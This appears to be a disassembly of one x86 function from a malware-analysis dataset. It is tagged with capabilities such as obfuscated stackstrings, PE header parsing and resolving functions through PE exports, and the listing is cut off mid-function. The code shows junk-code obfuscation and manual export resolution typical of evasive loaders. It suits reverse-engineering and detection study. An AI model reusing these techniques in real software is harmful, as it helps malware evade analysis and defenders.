Function at 0x10042ce5
Capabilities:
Contain obfuscated stackstrings
Create pipe
Enumerate pe sections
Parse pe header
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10076967
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xa68
push esi
and dword [ebp - 0x18], 0
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x1004758b
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x8c0], 0x5ef889a2
mov dword [ebp - 0x40], 0
jmp 0x10042d34
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jge 0x10042d4a
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x930], 0xfffb
jmp 0x10042d2d
mov dword [ebp - 0x40], 0
jmp 0x10042d5a
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jge 0x10042d70
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x908], 0
jmp 0x10042d53
mov dword [ebp - 0x40], 0
jmp 0x10042d80
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jge 0x10042d96
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x650], 0
jmp 0x10042d79
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x930], 0
je 0x10042dba
mov eax, 0xdac7
test eax, eax
je 0x10042dba
mov dword [ebp - 0x338], 1
jmp 0x10042dc1
and dword [ebp - 0x338], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x930]
cmp dword [ebp - 0x338], eax
jl 0x10042de1
mov dword [ebp - 0x5a8], 1
jmp 0x10042de8
and dword [ebp - 0x5a8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x5a8]
mov dword [ebp + eax - 0x650], ecx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x494], eax
mov dword [ebp - 0x44], 0x8a87013d
mov dword [ebp - 0x6dc], 0xb4b5a9ce
mov dword [ebp - 0x2f4], 0xfffffffb
mov dword [ebp - 0x220], 0xfff8
mov dword [ebp - 0x6f4], 3
mov dword [ebp - 0x7ec], 1
mov dword [ebp - 0x7f4], 1
mov dword [ebp - 0x6fc], 0x87f9bd85
mov dword [ebp - 0x7fc], 0x2a
mov dword [ebp - 0x68], 0
jmp 0x10042e6b
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x10042e81
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x630], 0xffffffff
jmp 0x10042e64
mov dword [ebp - 0x68], 0
jmp 0x10042e91
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jge 0x10042ea7
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x6e4], 0xfcb44481
jmp 0x10042e8a
mov dword [ebp - 0x44], 0
jmp 0x10042eb7
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jg 0x100431c7
mov dword [ebp - 0x144], 0x60e704f3
mov dword [ebp - 0x228], 1
mov dword [ebp - 0x6ec], 0xf89f2e07
mov dword [ebp - 0x804], 0xfffffffe
mov dword [ebp - 0x218], 0
jmp 0x10042f02
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 2
jge 0x10042f1e
mov eax, dword [ebp - 0x218]
mov dword [ebp + eax*4 - 0x828], 0x7e784b52
jmp 0x10042ef5
mov dword [ebp - 0x144], 0xa66e
cmp dword [ebp - 0x144], 0
je 0x10043008
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x630]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x630]
cmp eax, dword [ebp - 0x144]
jge 0x10042f66
mov dword [ebp - 0x5b8], 1
jmp 0x10042f6d
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0x630], ecx
jne 0x10042f8e
mov eax, 0x39d6b9c
test eax, eax
jne 0x10042f8e
and dword [ebp - 0x6d4], 0
jmp 0x10042f98
mov dword [ebp - 0x6d4], 1
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x80c], eax
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0x630], 8
jle 0x10042fba
mov dword [ebp - 0x5b0], 1
jmp 0x10042fc1
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x5b0]
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
jne 0x10042fe4
or eax, 0xffffffff
jne 0x10042fe4
and dword [ebp - 0x5f8], 0
jmp 0x10042fee
mov dword [ebp - 0x5f8], 1
mov eax, dword [ebp - 0x5b8]
add eax, dword [ebp - 0x5f8]
je 0x10043008
mov dword [ebp - 0x600], 1
jmp 0x1004300f
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x630]
cmp dword [ebp - 0x600], eax
je 0x10043036
cmp dword [ebp - 0x144], 0
je 0x10043036
mov dword [ebp - 0x5e4], 1
jmp 0x1004303d
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x5e4], eax
jne 0x10043054
mov dword [ebp - 0x5fc], 1
jmp 0x1004305b
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0x5fc]
mov dword [ebp - 0x6dc], eax
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x2f4], 0
jne 0x10043088
mov dword [ebp - 0x5a0], 1
jmp 0x1004308f
and dword [ebp - 0x5a0], 0
cmp dword [ebp - 0x5a0], 0xfad034e7
jne 0x100430a7
mov dword [ebp - 0x5b4], 1
jmp 0x100430ae
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x5b4]
add eax, 0x6ee3
cmp eax, 0xfffe
ja 0x100430cd
xor eax, eax
jne 0x100430cd
and dword [ebp - 0x2fc], 0
jmp 0x100430d7
mov dword [ebp - 0x2fc], 1
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x2fc]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x6e4]
sub eax, dword [ebp - 0x228]
neg eax
jne 0x1004310a
cmp dword [ebp - 0x6ec], 0
jne 0x1004310a
and dword [ebp - 0x48c], 0
jmp 0x10043114
mov dword [ebp - 0x48c], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x48c]
mov dword [ebp + eax - 0x828], ecx
mov eax, dword [ebp - 0x6f4]
mov dword [ebp - 0x81c], eax
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x630]
mov ecx, dword [ebp - 0x44]
sub eax, dword [ebp + ecx*4 - 0x630]
cmp dword [ebp - 0x220], eax
jl 0x10043171
cmp dword [ebp - 0x220], 0
je 0x10043171
mov dword [ebp - 0x304], 1
jmp 0x10043178
and dword [ebp - 0x304], 0
cmp dword [ebp - 0x304], 0x426cefc6
jg 0x10043190
mov dword [ebp - 0x554], 1
jmp 0x10043197
and dword [ebp - 0x554], 0
cmp dword [ebp - 0x554], 0x39d2
jle 0x100431af
mov dword [ebp - 0x30c], 1
jmp 0x100431b6
and dword [ebp - 0x30c], 0
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0x228], eax
jmp 0x10042eb0
push 0
lea eax, [ebp - 0x6fc]
push eax
call fcn.10042451
pop ecx
pop ecx
mov eax, dword [ebp - 0x494]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x100431ec
jmp 0x100475c9
mov eax, dword [ebp - 0x494]
mov ecx, dword [ebp - 0x30]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xa8], ecx
mov eax, dword [ebp - 0xa8]
cmp dword [eax], 0x4550
je 0x10043211
jmp 0x100475c9
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa8]
lea eax, [ecx + eax + 0x78]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
cmp dword [eax + 4], 0
jne 0x10043232
jmp 0x100475c9
mov dword [ebp - 0xbc], 0xfffffffe
mov dword [ebp - 0x278], 1
mov dword [ebp - 0x14c], 8
mov dword [ebp - 0x1c4], 0x7b568be1
mov dword [ebp - 0x32c], 0x5752
mov dword [ebp - 0x2a4], 3
mov dword [ebp - 0x74c], 0xcc702b5b
mov dword [ebp - 0x754], 0xffffffff
mov dword [ebp - 0x1c], 0
jmp 0x10043292
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x100432a8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x324], 0x20bd2ab
jmp 0x1004328b
mov dword [ebp - 0x1c], 0
jmp 0x100432b8
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x100432ce
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2ac], 0x57257ea0
jmp 0x100432b1
mov dword [ebp - 0x1c], 0
jmp 0x100432de
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x100432f4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x7a4], 1
jmp 0x100432d7
mov dword [ebp - 0x1c], 0
jmp 0x10043304
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1004331a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x93c], 0x65392fb3
jmp 0x100432fd
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
je 0x10043344
cmp dword [ebp - 0xbc], 0
je 0x10043344
mov dword [ebp - 0x314], 1
jmp 0x1004334b
and dword [ebp - 0x314], 0
mov eax, dword [ebp - 0xbc]
add eax, dword [ebp - 0x314]
cmp eax, 0xcbbbc254
jne 0x1004336a
mov dword [ebp - 0x5ec], 1
jmp 0x10043371
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x1c4]
cmp eax, dword [ebp - 0x5ec]
jg 0x1004338b
mov dword [ebp - 0x31c], 1
jmp 0x10043392
and dword [ebp - 0x31c], 0
mov eax, dword [ebp - 0x278]
cmp dword [ebp - 0x31c], eax
jg 0x100433ac
mov dword [ebp - 0x49c], 1
jmp 0x100433b3
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x49c]
mov dword [ebp - 0x1c4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x324]
imul eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x734], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x734]
mov dword [ebp + eax - 0x324], ecx
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x848], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x7a4]
cmp dword [ebp + eax - 0x7a4], ecx
jge 0x10043420
mov dword [ebp - 0x55c], 1
jmp 0x10043427
and dword [ebp - 0x55c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x7a4]
cmp dword [ebp - 0x55c], eax
jle 0x10043455
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7a4], 0
jne 0x10043455
and dword [ebp - 0x73c], 0
jmp 0x1004345f
mov dword [ebp - 0x73c], 1
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x850], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2ac]
inc eax
mov dword [ebp - 0x4a4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp + eax - 0x2ac], ecx
mov eax, dword [ebp - 0x14c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x32c]
mov dword [ebp - 0x2a4], eax
mov eax, dword [ebp - 0x2a4]
cmp dword [ebp - 0x4a4], eax
jne 0x100434ca
mov dword [ebp - 0x334], 1
jmp 0x100434d1
and dword [ebp - 0x334], 0
mov eax, dword [ebp - 0x334]
sub eax, 5
cmp eax, dword [ebp - 0xbc]
jge 0x100434ee
mov dword [ebp - 0x5bc], 1
jmp 0x100434f5
and dword [ebp - 0x5bc], 0
mov eax, dword [ebp - 0x5bc]
add eax, 0x9d05
cmp dword [ebp - 0xbc], eax
jl 0x10043514
mov dword [ebp - 0x33c], 1
jmp 0x1004351b
and dword [ebp - 0x33c], 0
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x2a4], 0
jne 0x100435f5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7a4], 0xad8be776
jb 0x10043553
mov dword [ebp - 0x744], 1
jmp 0x1004355a
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0x74c]
mov dword [ebp - 0x858], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2ac]
cmp dword [ebp - 0x14c], eax
jne 0x10043587
mov dword [ebp - 0x4ac], 1
jmp 0x1004358e
and dword [ebp - 0x4ac], 0
cmp dword [ebp - 0x4ac], 0xffffffff
ja 0x100435a3
mov dword [ebp - 0x344], 1
jmp 0x100435aa
and dword [ebp - 0x344], 0
mov eax, dword [ebp - 0x344]
sub eax, 0x59a3744a
cmp eax, dword [ebp - 0x1c4]
jge 0x100435c9
mov dword [ebp - 0x2b4], 1
jmp 0x100435d0
and dword [ebp - 0x2b4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2b4]
mov dword [ebp + eax - 0x93c], ecx
cmp dword [ebp - 0x2b4], 0
jne 0x100435f5
and dword [ebp - 0x564], 0
jmp 0x100435ff
mov dword [ebp - 0x564], 1
mov eax, dword [ebp - 0x564]
mov dword [ebp - 0x754], eax
and dword [ebp - 0x3c], 0
mov eax, dword [ebp - 0xa8]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0xa8]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x75c], 0xef72d4ea
mov byte [ebp - 0x97], 0
movzx eax, byte [ebp - 0x97]
test eax, eax
je 0x1004365e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
mov dword [ebp - 0x120], 0xffffffe5
jmp 0x10043677
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0xfffffff6
jge 0x100436ca
cmp dword [ebp - 0x120], 0
jne 0x10043695
mov dword [ebp - 0x34c], 1
jmp 0x1004369c
and dword [ebp - 0x34c], 0
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0x75c], eax
mov byte [ebp - 0x96], 0
movzx eax, byte [ebp - 0x96]
test eax, eax
je 0x100436c8
push 0x3037
push 0
call fcn.10042113
pop ecx
pop ecx
jmp 0x1004366a
and dword [ebp - 0x2c8], 0
jmp 0x100436ef
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
mov eax, dword [ebp - 0xd0]
add eax, 0x28
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xa8]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x2c8], eax
jge 0x10043770
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x4b4], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x4b4]
jb 0x1004376b
mov eax, dword [ebp - 0xa8]
push dword [eax + 0x38]
mov eax, dword [ebp - 0xd0]
push dword [eax + 8]
call fcn.10041e65
pop ecx
pop ecx
add eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x764], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x764]
jae 0x1004376b
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0
push 0x7aea
call fcn.1004208c
add esp, 0x10
jmp 0x10043770
jmp 0x100436d3
mov dword [ebp - 0x74], 0x490c4d8e
mov dword [ebp - 0x37c], 0xa1241a59
mov dword [ebp - 0x658], 7
mov dword [ebp - 0x1a4], 0
jmp 0x100437a4
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 2
jge 0x100437c0
mov eax, dword [ebp - 0x1a4]
mov dword [ebp + eax*4 - 0x638], 0xd3df
jmp 0x10043797
mov dword [ebp - 0x74], 0
jmp 0x100437d0
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 1
jg 0x10043bd6
mov dword [ebp - 0xf4], 0xf402e31d
mov dword [ebp - 0xcc], 0xfffffff9
mov dword [ebp - 0x76c], 1
mov dword [ebp - 0x2dc], 0xaf1ba137
mov dword [ebp - 0xf4], 1
jmp 0x1004381b
mov eax, dword [ebp - 0xf4]
dec eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
jl 0x10043bd1
mov dword [ebp - 0xe4], 0xfc257a10
mov dword [ebp - 0x768], 0x43f36fc7
mov dword [ebp - 0x210], 0
jmp 0x10043855
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 3
jge 0x10043871
mov eax, dword [ebp - 0x210]
mov dword [ebp + eax*4 - 0x2e8], 0x478144ad
jmp 0x10043848
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2e8], 0
jmp 0x1004389f
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2e8]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2e8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2e8], 1
jg 0x10043a84
mov dword [ebp - 0xc4], 0xc590f023
mov dword [ebp - 0xc4], 1
jmp 0x100438d6
mov eax, dword [ebp - 0xc4]
dec eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0
jl 0x10043909
mov byte [ebp - 0xb2], 0
movzx eax, byte [ebp - 0xb2]
test eax, eax
je 0x10043907
push 0
push 0
push 0x8e8
push 0x21b3
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
jmp 0x100438c9
mov eax, dword [ebp - 0x74]
cmp dword [ebp + eax*4 - 0x638], 0
jne 0x10043a38
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp + eax*4 - 0x638]
mov dword [ebp - 0x354], eax
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x354]
mov dword [ebp + eax*4 - 0x638], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2e8]
add eax, dword [ebp - 0x354]
jne 0x10043964
mov eax, 0xd857
test eax, eax
jne 0x10043964
and dword [ebp - 0x5cc], 0
jmp 0x1004396e
mov dword [ebp - 0x5cc], 1
cmp dword [ebp - 0x5cc], 0x3196e86f
jle 0x10043981
cmp dword [ebp - 0x76c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2e8]
mov dword [ebp - 0x860], eax
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xe4], 0x421d
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0xe4]
sub ecx, dword [ebp + eax*4 - 0x638]
sub ecx, dword [ebp - 0xc4]
cmp dword [ebp - 0xcc], ecx
jge 0x100439d4
mov dword [ebp - 0x35c], 1
jmp 0x100439db
and dword [ebp - 0x35c], 0
cmp dword [ebp - 0x35c], 1
jg 0x100439f0
mov dword [ebp - 0x4bc], 1
jmp 0x100439f7
and dword [ebp - 0x4bc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2e8]
add eax, dword [ebp - 0x4bc]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2e8]
jne 0x10043a24
mov dword [ebp - 0x364], 1
jmp 0x10043a2b
and dword [ebp - 0x364], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2e8]
cmp dword [ebp - 0x768], 2
ja 0x10043a4d
mov dword [ebp - 0x56c], 1
jmp 0x10043a54
and dword [ebp - 0x56c], 0
cmp dword [ebp - 0x56c], 0x71d69170
jne 0x10043a6c
mov dword [ebp - 0x36c], 1
jmp 0x10043a73
and dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x2dc], eax
jmp 0x10043884
mov dword [ebp - 0xe4], 0
jmp 0x10043a9d
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0xffffffeb
jge 0x10043bcc
mov dword [ebp - 0x4c4], 0x2a05
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x37c]
push eax
push 1
call fcn.10042042
add esp, 0xc
mov dword [ebp - 0xcc], 0
jmp 0x10043ae5
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x19
jle 0x10043bc7
mov dword [ebp - 0x5c8], 0xfff9
cmp dword [ebp - 0x4c4], 0
je 0x10043ba8
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x868], eax
mov eax, dword [ebp - 0x2dc]
add eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x4c4]
jge 0x10043b2f
mov dword [ebp - 0x374], 1
jmp 0x10043b36
and dword [ebp - 0x374], 0
mov eax, dword [ebp - 0x658]
add eax, dword [ebp - 0x374]
mov dword [ebp - 0x5c8], eax
mov eax, dword [ebp - 0x5c8]
cmp dword [ebp - 0x37c], eax
je 0x10043b62
mov dword [ebp - 0x4cc], 1
jmp 0x10043b69
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0x4cc]
sub eax, 0xac04
cmp eax, 0xffff
je 0x10043b87
mov dword [ebp - 0x384], 1
jmp 0x10043b8e
and dword [ebp - 0x384], 0
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0x384]
jne 0x10043ba8
mov dword [ebp - 0x574], 1
jmp 0x10043baf
and dword [ebp - 0x574], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x574]
mov dword [ebp + eax - 0x2e8], ecx
jmp 0x10043ad8
jmp 0x10043a90
jmp 0x1004380e
jmp 0x100437c9
cmp dword [ebp - 0x3c], 0
jne 0x10043be1
jmp 0x100475c9
mov dword [ebp - 0x1ac], 0xfffffff9
mov dword [ebp - 0x1ec], 0
jmp 0x10043c04
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 4
jge 0x10043c20
mov eax, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0xa54], 1
jmp 0x10043bf7
mov dword [ebp - 0x1ac], 0xd
jmp 0x10043c39
mov eax, dword [ebp - 0x1ac]
dec eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0xffffffef
jl 0x10043d07
mov dword [ebp - 0x13c], 0xe1e2c0d3
push 0x1299
push 0x979
push 0x77fe
lea eax, [ebp - 0x13c]
push eax
push 0
call fcn.10042b3c
add esp, 0x14
mov dword [ebp - 0x13c], 3
jmp 0x10043c89
mov eax, dword [ebp - 0x13c]
dec eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jl 0x10043d02
mov dword [ebp - 0x20c], 0x928fbc78
mov dword [ebp - 0x20c], 3
jmp 0x10043cb5
mov eax, dword [ebp - 0x20c]
dec eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
jl 0x10043cfd
mov byte [ebp - 0x9a], 0
movzx eax, byte [ebp - 0x9a]
test eax, eax
je 0x10043ce1
push 0x651
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov byte [ebp - 0xb4], 0
movzx eax, byte [ebp - 0xb4]
test eax, eax
je 0x10043cfb
push 0
call fcn.10042aa7
pop ecx
jmp 0x10043ca8
jmp 0x10043c7c
jmp 0x10043c2c
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x3c]
add ecx, dword [eax]
add ecx, dword [ebp - 0x30]
mov dword [ebp - 0x14], ecx
xor ecx, ecx
call fcn.1002e1fc
push eax
call fcn.1005f768
pop ecx
mov dword [ebp - 0x118], 1
mov dword [ebp - 0x6cc], 0xc6f1bf50
mov dword [ebp - 0x118], 0
jmp 0x10043d50
mov eax, dword [ebp - 0x118]
dec eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xfffffff5
je 0x10043d7e
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x6cc], eax
mov byte [ebp - 0x98], 0
lea eax, [ebp - 0x98]
push eax
push 0
call fcn.10042408
pop ecx
pop ecx
jmp 0x10043d43
mov dword [ebp - 0x2d8], 0xffffffff
mov dword [ebp - 0x6c], 0
jmp 0x10043d98
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 3
jge 0x10043dae
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x64c], 0x41651328
jmp 0x10043d91
mov dword [ebp - 0x6c], 0
jmp 0x10043dbe
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x10043dd4
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x834], 0xffffffff
jmp 0x10043db7
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64c], 0
jne 0x10043e72
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x64c]
mov dword [ebp - 0x870], eax
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x878], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64c], 0
jne 0x10043e23
mov dword [ebp - 0x38c], 1
jmp 0x10043e2a
and dword [ebp - 0x38c], 0
cmp dword [ebp - 0x38c], 0xadacd7d3
jne 0x10043e42
mov dword [ebp - 0x4d4], 1
jmp 0x10043e49
and dword [ebp - 0x4d4], 0
cmp dword [ebp - 0x4d4], 3
je 0x10043e60
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64c], 0
mov eax, 0xcee61780
test eax, eax
jne 0x10043e72
and dword [ebp - 0x394], 0
jmp 0x10043e7c
mov dword [ebp - 0x394], 1
mov eax, dword [ebp - 0x394]
sub eax, dword [ebp - 0x2d8]
jne 0x10043ea3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64c], 0
jne 0x10043ea3
and dword [ebp - 0x5d0], 0
jmp 0x10043ead
mov dword [ebp - 0x5d0], 1
mov eax, 0x951a
sub eax, dword [ebp - 0x5d0]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x64c]
add eax, dword [ebp - 0x2d8]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x834], eax
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x10043ef9
push 0x239c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov byte [ebp - 0x198], 5
mov byte [ebp - 0x197], 0x78
mov byte [ebp - 0x196], 0
mov byte [ebp - 0x195], 0
mov byte [ebp - 0x194], 4
mov byte [ebp - 0x193], 9
mov byte [ebp - 0x192], 1
mov byte [ebp - 0x191], 0xd
mov byte [ebp - 0x190], 8
mov byte [ebp - 0x18f], 5
mov byte [ebp - 0x18e], 2
mov byte [ebp - 0x18d], 7
mov byte [ebp - 0x18c], 0x10
mov byte [ebp - 0x18b], 0x2d
mov byte [ebp - 0x18a], 0x81
mov byte [ebp - 0x189], 0x1a
mov byte [ebp - 0x188], 0x1b
mov byte [ebp - 0x187], 0xe3
mov byte [ebp - 0x186], 0xea
mov byte [ebp - 0x185], 0x98
mov byte [ebp - 0x184], 0x4c
mov byte [ebp - 0x183], 0x31
mov byte [ebp - 0x182], 0x1c
mov byte [ebp - 0x181], 0x82
mov byte [ebp - 0x180], 0xc9
mov byte [ebp - 0x17f], 0xf7
mov byte [ebp - 0x17e], 0x44
mov byte [ebp - 0x17d], 0x84
mov byte [ebp - 0x17c], 0x9c
mov byte [ebp - 0x17b], 7
mov byte [ebp - 0x17a], 1
mov byte [ebp - 0x179], 9
mov byte [ebp - 0x178], 6
mov byte [ebp - 0x177], 6
mov byte [ebp - 0x176], 1
mov byte [ebp - 0x175], 3
mov byte [ebp - 0x174], 6
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x198]
or eax, 0x49
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x198]
and ecx, 0x49
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
